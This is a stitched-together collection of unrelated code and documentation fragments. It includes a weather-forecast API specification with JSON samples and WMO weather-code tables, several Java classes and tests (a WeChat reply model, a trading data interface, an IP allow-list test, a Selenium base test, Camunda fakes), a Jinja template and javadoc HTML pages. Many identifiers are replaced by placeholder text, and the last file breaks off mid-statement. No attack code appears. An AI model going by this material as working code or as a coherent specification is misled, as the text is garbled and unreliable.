- longitude in degree + speedUnit: `meters_per_second` (string, optional) - select which unit for windSpeed, windGust, etc.; valid values: meters_per_second, miles_per_hour, kilometers_per_hour, beaufort + temperatureUnit: `degree` (string, optional) - select which unit for airTemperature, etc.; valid values: degree, fahrenheit + precipitationUnit: `millimeter` (string, optional) - select which unit for precipitation, etc.; valid values: millimeter, inch + Request + Headers X-Authentication: <API-Key> X-TraceId: <Trace-Id> + Response 200 (application/json) + Headers <API key>: 4712 E-Tag: "a987dff" Cache-Control: max-age=600 + Body { "relevantStation" : { "latitude": 52.5337, "longitude": 13.37788, "id": 0815, // MG station id "sourceType" : "MOS_VIRTUAL", // MOS or MOS_VIRTUAL to distinguish real stations to virtual ones "timeZoneName" : "Europe/Berlin" }, "forecasts": { "hourly" : [ { "validFrom": "2015-08-25T13:00:00+02:00", "validUntil": "2015-08-25T13:59:59+02:00", // clarify: 14:00 vs. 13:59 "airTemperature": { "value" : 29, "unit" : "DEGREE_CELSIUS" }, "apparentTemperature" : { // clarify: dow we need it? "value" : 30, "unit" : "DEGREE_CELSIUS" }, "dewPointTemperature": { "value" : 15.8, "unit" : "DEGREE_CELSIUS" }, "airPressureInHpa": 1012.9, "<API key>": 23, "precipitation": { "value" : 0, "unit" : "MILLIMETER" }, "<API key>": 0, "windSpeed": { "value" : 7.48, "unit" : "METER_PER_SECOND" }, "windGust" : { "value" : 21.6, "unit" : "METER_PER_SECOND" }, "windChill" : { // clarify: dow we need it? ATTENTION: different equations depending on location! "value" : 3.6, "unit" : "DEGREE_CELSIUS" }, "<API key>": 274, "<API key>": 3, "presentWeather": { "code": 00, // wmo code "literal": "CLEAR_SKY" // do we need this? }, "weatherSymbol": 1199999 // clarify: do we need this. makes only sense with the symbol } ], "interval6hours" : [ { "validFrom": "2015-08-25T12:00:00+02:00", "validUntil": "2015-08-25T17:59:59+02:00", "dewPointTemperature": { // defined for 6h-period? "value" : 15.8, "unit" : "DEGREE_CELSIUS" }, "<API key>": { "value" : 21, "unit" : "DEGREE_CELSIUS" }, "<API key>": { "value" : 29, "unit" : "DEGREE_CELSIUS" }, "airPressureInHpa": 1012.9, "<API key>": 120, "precipitation": { "value" : 0, "unit" : "MILLIMETER" }, "<API key>": 0, "windSpeed": { "value" : 7.48, "unit" : "METER_PER_SECOND" }, "windGust" : { "value" : 21.6, "unit" : "METER_PER_SECOND" }, "<API key>": 274, "<API key>": 3, "presentWeather": { "code": 00, // wmo code "literal": "CLEAR_SKY" // do we need this? }, "weatherSymbol": 1199999, // clarify: do we need this. makes only sense with the symbol } ], "interval12hours" : [ { "validFrom": "2015-08-25T06:00:00+02:00", "validUntil": "2015-08-25T17:59:59+02:00", "dewPointTemperature": { // defined for 12h-period? "value" : 15.8, "unit" : "DEGREE_CELSIUS" }, "<API key>": { "value" : 21, "unit" : "DEGREE_CELSIUS" }, "<API key>": { "value" : 29, "unit" : "DEGREE_CELSIUS" }, "airPressureInHpa": 1012.9, "<API key>": 240, "precipitation": { "value" : 0, "unit" : "MILLIMETER" }, "<API key>": 0, "windSpeed": { "value" : 7.48, "unit" : "METER_PER_SECOND" }, "windGust" : { "value" : 21.6, "unit" : "METER_PER_SECOND" }, "<API key>": 3, "presentWeather": { "code": 00, // wmo code "literal": "CLEAR_SKY" // do we need this? }, "weatherSymbol": 1199999 // clarify: do we need this. makes only sense with the symbol } ], "daily" : [ { "validFrom": "2015-08-25T00:00:00+02:00", "validUntil": "2015-08-25T23:59:59+02:00", "<API key>": 510, "<API key>": 3, "presentWeather": { "code": 00, // wmo code "literal": "CLEAR_SKY" // do we need this? }, "weatherSymbol": 1199999, // clarify: do we need this. makes only sense with the symbol "<API key>": 7, "sunrise" : "2015-08-25T06:23:00+02:00", "sunset" : "2015-08-25T19:34:00+02:00", "<API key>": { "value" : 21, "unit" : "DEGREE_CELSIUS" }, "<API key>": { "value" : 29, "unit" : "DEGREE_CELSIUS" }, "precipitation": { "value" : 0, "unit" : "MILLIMETER" }, "<API key>": 274, "<API key>": 0, "windSpeed": { // does this makes sense for a 24h period? "value" : 7.48, "unit" : "METER_PER_SECOND" }, "windGust" : { "value" : 21.6, "unit" : "METER_PER_SECOND" }, "ultraVioletIndex": { // clarify!!! "clearSky": 4, // clarify: (1) name (2) WMO compliant "cloudy": 1 // clarify: (1) name (2) WMO compliant } } ] } } # Data Structures ## Forecast Intervals The response contains different time intervals which contain forecast in for different time spans. Interval name | Time interval | Time span hourly | 1 hour | using time zone from requested location, today from 00:00 until 24:00, plus 1 day ahead, means 48 hours in total interval6hours | 6 hours | using time zone from requested location, today from 00:00 until 24:00, plus 6 days ahead, means 28 intervals in total halfDaily | 12 hours | using time zone from requested location, today from 00:00 until 24:00, plus 6 days ahead, means 14 intervals in total daily | 24 hours | using time zone from requested location, today from 00:00 until 24:00, plus 6 days ahead, means 7 days in total ## Units Parameter | unit minAirTemperature | Degree or Fahrenheit maxAirTemperature | Degree or Fahrenheit airTemperature | Degree or Fahrenheit dewPointTemperature | Degree or Fahrenheit precipitation | mm or inch // !! clarify! <API key> | mm or inch // !! clarify! windSpeed | m/s or km/h or m/h or BFT windGust | in Knots or m/h or km/h date, time, time offset | timestamps including date, time and a zime offset are encoded in [ISO 8601 format](https://en.wikipedia.org/wiki/ISO_8601). ## PresentWeather (object) The hourly weather code (WMO akronym 'ww') is an enumeration of certain types. These types are based on WMO's SYNOP Format (FM-12) specification. + code (number) + Sample + 00 + literal (string) + Sample + CLEAR_SKIES Code | Enumeration literal 00 | CLEAR_SKIES 01 | CLOUDS_DISSOLVING 02 | <API key> 03 | CLOUDS_DEVELOPING 04 | <API key> 05 | HAZE 06 | <API key> 07 | <API key> 08 | <API key> 09 | <API key> 10 | MIST 11 | <API key> 12 | <API key> 13 | <API key> 14 | <API key> 15 | <API key> 16 | <API key> 17 | <API key> 18 | <API key> 19 | <API key> 20 | DRIZZLE 21 | RAIN 22 | SNOW 23 | RAIN_AND_SNOW 24 | FREEZING_RAIN 25 | RAIN_SHOWERS 26 | SNOW_SHOWERS 27 | HAIL_SHOWERS 28 | FOG 29 | THUNDERSTORMS 30 | <API key> 31 | <API key> 32 | <API key> 33 | <API key> 34 | <API key> 35 | <API key> 36 | <API key> 37 | <API key> 38 | <API key> 39 | <API key> 40 | FOG_AT_A_DISTANCE 41 | PATCHES_OF_FOG 42 | <API key> 43 | <API key> 44 | <API key> 45 | <API key> 46 | <API key> 47 | <API key> 48 | <API key> 49 | <API key> 50 | <API key> 51 | <API key> 52 | <API key> 53 | <API key> 54 | <API key> 55 | <API key> 56 | <API key> 57 | <API key> 58 | <API key> 59 | <API key> 60 | <API key> 61 | <API key> 62 | <API key> 63 | <API key> 64 | <API key> 65 | <API key> 66 | LIGHT_FREEZING_RAIN 67 | <API key> 68 | LIGHT_RAIN_AND_SNOW 69 | <API key> 70 | <API key> 71 | <API key> 72 | <API key> 73 | <API key> 74 | <API key> 75 | <API key> 76 | DIAMOND_DUST 77 | SNOW_GRAINS 78 | SNOW_CRYSTALS 79 | ICE_PELLETS 80 | LIGHT_RAIN_SHOWERS 81 | <API key> 82 | <API key> 83 | <API key> 84 | <API key> 85 | LIGHT_SNOW_SHOWERS 86 | <API key> 87 | <API key> 88 | <API key> 89 | LIGHT_HAIL_SHOWERS 90 | <API key> 91 | <API key> 92 | <API key> 93 | <API key> 94 | THUNDERSTORM_IN_PAST_HOUR__CURRENTLY_ONLY_MODERATE_TO_HEAVY_SNOW_OR_RAIN_AND_SNOW_MIX 95 | <API key> 96 | <API key> 97 | HEAVY_THUNDERSTORM 98 | <API key> 99 | <API key> Source/details of FM-12 can be found at http://weather.unisys.com/wxp/Appendices/Formats/SYNOP.html code table 4677 ... // WMO !!!! ww Present weather reported from a manned weather station ## Total Cloud Cover (number) This symbolic letter shall embrace the total fraction of the celestial dome covered by clouds irrespective of their genus. (WMO akronym 'N') Value | Meaning 0 | 0 1 | 1 okta or less, but not zero 2 | 2 oktas 3 | 3 oktas 4 | 4 oktas 5 | 5 oktas 6 | 6 oktas 7 | 7 oktas 8 | 8 oktas 9 | Sky obscured by fog and/or other meteorological phenomena
package org.usc.demo.wechat.reply; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlElement; /** * * @author Shunli */ @XmlAccessorType(XmlAccessType.FIELD) public class MusicDetail { @XmlElement(name = "Title") private String title; @XmlElement(name = "Description") private String description; @XmlElement(name = "MusicUrl") private String musicUrl; @XmlElement(name = "HQMusicUrl") private String hQMusicUrl; public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getDescription() { return description; } public void setDescription(String description) { this.description = description; } public String getMusicUrl() { return musicUrl; } public void setMusicUrl(String musicUrl) { this.musicUrl = musicUrl; } public String gethQMusicUrl() { return hQMusicUrl; } public void sethQMusicUrl(String hQMusicUrl) { this.hQMusicUrl = hQMusicUrl; } }
package cryptoexplorer; import org.junit.Test; public class JvmTest { @Test public void testProperties() throws Exception { System.out.println(new Jvm().properties()); } }
package com.moscona.trading.adapters; import com.moscona.exceptions.<API key>; import com.moscona.exceptions.<API key>; import com.moscona.trading.elements.SymbolChart; import com.moscona.trading.excptions.<API key>; import com.moscona.trading.persistence.SplitsDb; import java.util.Calendar; import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeoutException; public interface <API key> { String getName() throws <API key>; /** * Given a symbol and a splits DB - queries the data source and updates the splits DB with the latest available * information about splits for this symbol * * @param symbol * @param splits * @param timeout * @param timeoutUnit * @throws com.moscona.exceptions.<API key> * @throws com.moscona.exceptions.<API key> * @throws com.moscona.trading.excptions.<API key> * @throws java.util.concurrent.TimeoutException */ void updateSplitsFor(String symbol, SplitsDb splits, int timeout, TimeUnit timeoutUnit) throws <API key>, <API key>, TimeoutException, <API key>; /** * Gets a minute chart for the symbol, possibly with some values missing. Note that the from and to times must both * be from the same day, or an exception might be thrown. * * @param symbol the symbol for which historic data is requested * @param from the starting time (the beginning of this minute is the beginning of the first minute to be * retrieved) * @param to the ending time (the end of this minute is the end of the last minute to be retrieved) * @param timeout the maximum time allowed to spend on this operation * @param unit the units for the timeout * @param retryLimit the maximum number of allowed retry attempt on errors that justify a retry * @return a SymbolChart with the historic data in the time period. Some slots may be null * @throws com.moscona.exceptions.<API key> * @throws com.moscona.exceptions.<API key> * @throws java.util.concurrent.TimeoutException * @throws <API key> */ public SymbolChart getMinuteBars(String symbol, Calendar from, Calendar to, int timeout, TimeUnit unit, int retryLimit) throws <API key>, <API key>, TimeoutException, <API key>; /** * Gets a second chart for the symbol, possibly with some values missing. Note that the from and to times must both * be from the same day, or an exception might be thrown. * * @param symbol the symbol for which historic data is requested * @param from the starting time (the beginning of this second is the beginning of the first second to be * retrieved) * @param to the ending time (the end of this second is the end of the last second to be retrieved) * @param timeout the maximum time allowed to spend on this operation * @param unit the units for the timeout * @param retryLimit the maximum number of allowed retry attempt on errors that justify a retry * @return a SymbolChart with the historic data in the time period. Some slots may be null * @throws <API key> * @throws <API key> * @throws TimeoutException * @throws <API key> */ public SymbolChart getSecondBars(String symbol, Calendar from, Calendar to, int timeout, TimeUnit unit, int retryLimit) throws <API key>, <API key>, TimeoutException, <API key>; }
package com.testeverything.serializable.domain; import java.io.Serializable; import java.util.Date; public class OnlineItem implements Serializable { private static final long serialVersionUID = <API key>; private Long itemId; // BIGINT NOT NULL AUTO_INCREMENT COMMENT 'id', private transient Long problemId; // BIGINT NOT NULL, private Integer answerFlag; //TINYINT COMMENT ' 0 1 ', private String itemContent; //VARCHAR(50) COMMENT '', private String itemAnswer; //VARCHAR(50) COMMENT ' ', private transient Date created; //DATE NOT NULL, private transient Date modified;//DATE NOT NULL COMMENT '', public Long getItemId() { return itemId; } public void setItemId(Long itemId) { this.itemId = itemId; } public Long getProblemId() { return problemId; } public void setProblemId(Long problemId) { this.problemId = problemId; } public Integer getAnswerFlag() { return answerFlag; } public void setAnswerFlag(Integer answerFlag) { this.answerFlag = answerFlag; } public String getItemContent() { return itemContent; } public void setItemContent(String itemContent) { this.itemContent = itemContent; } public String getItemAnswer() { return itemAnswer; } public void setItemAnswer(String itemAnswer) { this.itemAnswer = itemAnswer; } public Date getCreated() { return created; } public void setCreated(Date created) { this.created = created; } public Date getModified() { return modified; } public void setModified(Date modified) { this.modified = modified; } @Override public String toString() { return "OnlineItem{" + "itemId=" + itemId + ", problemId=" + problemId + ", answerFlag=" + answerFlag + ", itemContent=" + itemContent + ", itemAnswer=" + itemAnswer + ", created=" + created + ", modified=" + modified + '}'; } }
/** * @desc * @date 2015715 */ package tk.cpusoft.common.util.test; import java.util.ArrayList; import java.util.List; import org.testng.annotations.Test; import tk.cpusoft.common.util.ip.IpUtil; /** * @desc * @date 2015715-9:24:41 */ public class IpUtilTest { @Test public void isIpTest(){ List<String> ips = new ArrayList<String>(); ips.add("127.0.0.1"); ips.add("*.*.*.*"); ips.add("9.4.5555.2"); ips.add("9.4.c.2"); ips.add("dfsd"); for(String ip:ips){ System.out.println(ip+":"+IpUtil.isIp(ip)); } } @Test public void allowIpTest(){ String allowIp = "*.*.*.*"; List<String> ips = new ArrayList<String>(); ips.add("127.0.0.1"); ips.add("*.*.*.*"); ips.add("7.6.5.4"); System.out.println("allow ip:"+ allowIp); for(String ip:ips){ System.out.println(ip+":"+IpUtil.allowIp(allowIp,ip)); } allowIp = "7.6.*.*"; System.out.println("allow ip:"+ allowIp); for(String ip:ips){ System.out.println(IpUtil.allowIp(allowIp,ip)); } allowIp = "7.6.*.4"; System.out.println("allow ip:"+ allowIp); for(String ip:ips){ System.out.println("ip "+ip+":"+IpUtil.allowIp(allowIp,ip)); } } }
package edu.uw.zookeeper.safari.schema.volumes; import com.google.common.base.MoreObjects; import com.google.common.collect.ImmutableSet; import edu.uw.zookeeper.safari.Identifier; public abstract class AssignedVolumeState { private final Identifier region; protected AssignedVolumeState( Identifier region) { super(); this.region = region; } public final Identifier getRegion() { return region; } public abstract ImmutableSet<Identifier> getLeaves(); @Override public String toString() { return MoreObjects.toStringHelper(this).add("region", getRegion()).add("leaves", getLeaves()).toString(); } }
{% extends "base.html" %} {% block title %}Browse by Date{% endblock %} {% block content %} <div class="container-fluid"> <div class="page-header"> <h1>Browse <small>by Date</small></h1> </div> <div class="row-fluid"> <div class="span12"> <ul class="breadcrumb"> <li><a href="{{ url_for('browse') }}">Browse</a> <span class="divider">/</span></li> <li>by Date</li> </ul> </div> </div> <div class="row-fluid"> <div class="span8"> <table class="table table-striped"> <tbody> {% for y in years %} <tr> <td> <a href="{{ url_for('browse_date', year=y)}}">{{y}}</a> - <a href="{{ url_for('browse_date', year=y, month=1)}}">Jan</a> - <a href="{{ url_for('browse_date', year=y, month=2) }}">Feb</a> - <a href="{{ url_for('browse_date', year=y, month=3) }}">Mar</a> - <a href="{{ url_for('browse_date', year=y, month=4) }}">Apr</a> - <a href="{{ url_for('browse_date', year=y, month=5) }}">May</a> - <a href="{{ url_for('browse_date', year=y, month=6) }}">Jun</a> - <a href="{{ url_for('browse_date', year=y, month=7) }}">Jul</a> - <a href="{{ url_for('browse_date', year=y, month=8) }}">Aug</a> - <a href="{{ url_for('browse_date', year=y, month=9) }}">Sep</a> - <a href="{{ url_for('browse_date', year=y, month=10) }}">Oct</a> - <a href="{{ url_for('browse_date', year=y, month=11) }}">Nov</a> - <a href="{{ url_for('browse_date', year=y, month=12) }}">Dec</a> </td> </tr> {% endfor %} </tbody> </table> </div> </div> </div> {% endblock %}
package org.tangerine.apiassistant.sample.vo; import org.tangerine.apiresolver.annotation.Param; public class <API key> { /** e.g:hello**/ @Param("paramStr") private String paramStr; /** e.g:100**/ @Param("paramInt") private Integer paramInt; /** e.g:true**/ @Param(value="paramBool", defaultValue="true") private Boolean paramBool; public <API key>() { } public String getParamStr() { return paramStr; } public void setParamStr(String paramStr) { this.paramStr = paramStr; } public Integer getParamInt() { return paramInt; } public void setParamInt(Integer paramInt) { this.paramInt = paramInt; } public Boolean getParamBool() { return paramBool; } public void setParamBool(Boolean paramBool) { this.paramBool = paramBool; } @Override public String toString() { return "<API key> [paramStr=" + paramStr + ", paramInt=" + paramInt + ", paramBool=" + paramBool + "]"; } }
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_60-ea) on Wed Jan 04 17:08:18 EST 2017 --> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Uses of Interface org.wildfly.swarm.config.jmx.<API key> (Public javadocs 2017.1.1 API)</title> <meta name="date" content="2017-01-04"> <link rel="stylesheet" type="text/css" href="../../../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../../../script.js"></script> </head> <body> <script type="text/javascript"><! try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Interface org.wildfly.swarm.config.jmx.<API key> (Public javadocs 2017.1.1 API)"; } } catch(err) { } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar.top"> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../../../../../../overview-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> <div class="aboutLanguage">WildFly Swarm API, 2017.1.1</div> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?org/wildfly/swarm/config/jmx/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.top"> </a></div> <div class="header"> <h2 title="Uses of Interface org.wildfly.swarm.config.jmx.<API key>" class="title">Uses of Interface<br>org.wildfly.swarm.config.jmx.<API key></h2> </div> <div class="classUseContainer"> <ul class="blockList"> <li class="blockList"> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing packages, and an explanation"> <caption><span>Packages that use <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Package</th> <th class="colLast" scope="col">Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><a href="#org.wildfly.swarm.config">org.wildfly.swarm.config</a></td> <td class="colLast">&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><a href="#org.wildfly.swarm.config.jmx">org.wildfly.swarm.config.jmx</a></td> <td class="colLast">&nbsp;</td> </tr> </tbody> </table> </li> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="org.wildfly.swarm.config"> </a> <h3>Uses of <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a> in <a href="../../../../../../org/wildfly/swarm/config/package-summary.html">org.wildfly.swarm.config</a></h3> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../org/wildfly/swarm/config/package-summary.html">org.wildfly.swarm.config</a> with parameters of type <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../../../org/wildfly/swarm/config/JMX.html" title="type parameter in JMX">T</a></code></td> <td class="colLast"><span class="typeNameLabel">JMX.</span><code><span class="memberNameLink"><a href="../../../../../../org/wildfly/swarm/config/JMX.html#<API key>.wildfly.swarm.config.jmx.<API key>-"><API key></a></span>(<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a>&nbsp;consumer)</code> <div class="block">A JBoss remoting connector for the JMX subsystem.</div> </td> </tr> </tbody> </table> </li> <li class="blockList"><a name="org.wildfly.swarm.config.jmx"> </a> <h3>Uses of <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a> in <a href="../../../../../../org/wildfly/swarm/config/jmx/package-summary.html">org.wildfly.swarm.config.jmx</a></h3> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../org/wildfly/swarm/config/jmx/package-summary.html">org.wildfly.swarm.config.jmx</a> that return <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>default <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a>&lt;<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="type parameter in <API key>">T</a>&gt;</code></td> <td class="colLast"><span class="typeNameLabel"><API key>.</span><code><span class="memberNameLink"><a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html#andThen-org.wildfly.swarm.config.jmx.<API key>-">andThen</a></span>(<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a>&lt;<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="type parameter in <API key>">T</a>&gt;&nbsp;after)</code>&nbsp;</td> </tr> </tbody> </table> <table class="useSummary" border="0" cellpadding="3" cellspacing="0" summary="Use table, listing methods, and an explanation"> <caption><span>Methods in <a href="../../../../../../org/wildfly/swarm/config/jmx/package-summary.html">org.wildfly.swarm.config.jmx</a> with parameters of type <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a></span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tbody> <tr class="altColor"> <td class="colFirst"><code>default <a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a>&lt;<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="type parameter in <API key>">T</a>&gt;</code></td> <td class="colLast"><span class="typeNameLabel"><API key>.</span><code><span class="memberNameLink"><a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html#andThen-org.wildfly.swarm.config.jmx.<API key>-">andThen</a></span>(<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx"><API key></a>&lt;<a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="type parameter in <API key>">T</a>&gt;&nbsp;after)</code>&nbsp;</td> </tr> </tbody> </table> </li> </ul> </li> </ul> </div> <div class="bottomNav"><a name="navbar.bottom"> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../../org/wildfly/swarm/config/jmx/<API key>.html" title="interface in org.wildfly.swarm.config.jmx">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../../../../../../overview-tree.html">Tree</a></li> <li><a href="../../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../../index-all.html">Index</a></li> <li><a href="../../../../../../help-doc.html">Help</a></li> </ul> <div class="aboutLanguage">WildFly Swarm API, 2017.1.1</div> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../../index.html?org/wildfly/swarm/config/jmx/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <a name="skip.navbar.bottom"> </a></div> <p class="legalCopy"><small>Copyright & </body> </html>
package com.temp.designPatterns.chain; public class ViceManagerHandler implements Handler { private Handler nextHandler; @Override public void handleLeaveNote(LeaveNote leaveNote) { if(leaveNote.getDayNum() <= 5) { System.out.println("" + leaveNote.getName() + "" + leaveNote.getDayNum() + ",:" + leaveNote.getReason()); }else { nextHandler.handleLeaveNote(leaveNote); } } @Override public void setNextHandler(Handler h) { this.nextHandler = h; } }
package com.lithium.mineraloil.selenium.helpers; import com.lithium.mineraloil.selenium.browsers.BrowserType; import com.lithium.mineraloil.selenium.elements.Driver; import com.lithium.mineraloil.selenium.elements.DriverConfiguration; import org.apache.commons.io.FileUtils; import org.junit.After; import org.junit.Before; import java.io.File; import java.io.IOException; public class BaseTest { protected Driver driver; @Before public void beforeTest() { driver = new Driver(); driver.<API key>(<API key>()); driver.startDriver(); driver.get(getTestUrl()); } @After public void teardown() { driver.stop(); } private DriverConfiguration <API key>() { String <API key> = "127.0.0.1"; String browser = "REMOTE_CHROME"; BrowserType browserType = BrowserType.valueOf(browser.toUpperCase()); return DriverConfiguration.builder() .browserType(browserType) .chromeOptions(ChromeSettings.getChromeOptions()) .remotePort(4444) .<API key>(<API key>) .build(); } // assumes we're running selenium-docker locally protected String getTestUrl() { String sourceFilePath = BaseTest.class.getClassLoader().getResource("htmls").getPath(); File sourceFile = new File(sourceFilePath); File destFile = new File("/tmp/resources/htmls"); try { FileUtils.copyDirectory(sourceFile, destFile); } catch (IOException e) { e.printStackTrace(); } return "file:///tmp/resources/htmls/test.html"; } }
import Ember from 'ember'; export default Ember.Component.extend({ value : null, placeholder : "",
package org.camunda.bpm.extension.mockito.process; import org.junit.Test; import static org.assertj.core.api.Java6Assertions.assertThat; public class <API key> { @Test public void testEmptyBuilder() { ProcessInstanceFake fake = ProcessInstanceFake.builder().build(); assertThat(fake.isEnded()).isEqualTo(false); assertThat(fake.isSuspended()).isEqualTo(false); } @Test public void testStateChange() { ProcessInstanceFake fake = ProcessInstanceFake.builder().build(); assertThat(fake.isEnded()).isEqualTo(false); assertThat(fake.isSuspended()).isEqualTo(false); fake.setEnded(true); assertThat(fake.isEnded()).isEqualTo(true); fake.setSuspended(true); assertThat(fake.isSuspended()).isEqualTo(true); } @Test public void testFullBuilder() { ProcessInstanceFake fake = ProcessInstanceFake.builder() .businessKey("businessKey") .caseInstanceId("caseInstanceId") .ended(true) .id("id") .processDefinitionId("processDefinitionId") .processInstanceId("processInstanceId") .suspended(true) .tenantId("tenantId") .build(); assertThat(fake.getBusinessKey()).isEqualTo("businessKey"); assertThat(fake.getCaseInstanceId()).isEqualTo("caseInstanceId"); assertThat(fake.getId()).isEqualTo("id"); assertThat(fake.<API key>()).isEqualTo("processDefinitionId"); assertThat(fake.<API key>()).isEqualTo("processInstanceId"); assertThat(fake.isSuspended()).isEqualTo(true); assertThat(fake.isEnded()).isEqualTo(true); } }
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_65) on Wed Sep 03 20:05:56 PDT 2014 --> <meta http-equiv="Content-Type" content="text/html" charset="UTF-8"> <title>Uses of Class org.apache.hadoop.hbase.<API key> (HBase 0.98.6-hadoop2 API)</title> <meta name="date" content="2014-09-03"> <link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><! if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Uses of Class org.apache.hadoop.hbase.<API key> (HBase 0.98.6-hadoop2 API)"; } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar_top"> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../../overview-summary.html">Overview</a></li> <li><a href="../package-summary.html">Package</a></li> <li><a href="../../../../../org/apache/hadoop/hbase/<API key>.html" title="class in org.apache.hadoop.hbase">Class</a></li> <li class="navBarCell1Rev">Use</li> <li><a href="../package-tree.html">Tree</a></li> <li><a href="../../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../../index-all.html">Index</a></li> <li><a href="../../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li>Prev</li> <li>Next</li> </ul> <ul class="navList"> <li><a href="../../../../../index.html?org/apache/hadoop/hbase/class-use/<API key>.html" target="_top">Frames</a></li> <li><a href="<API key>.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = 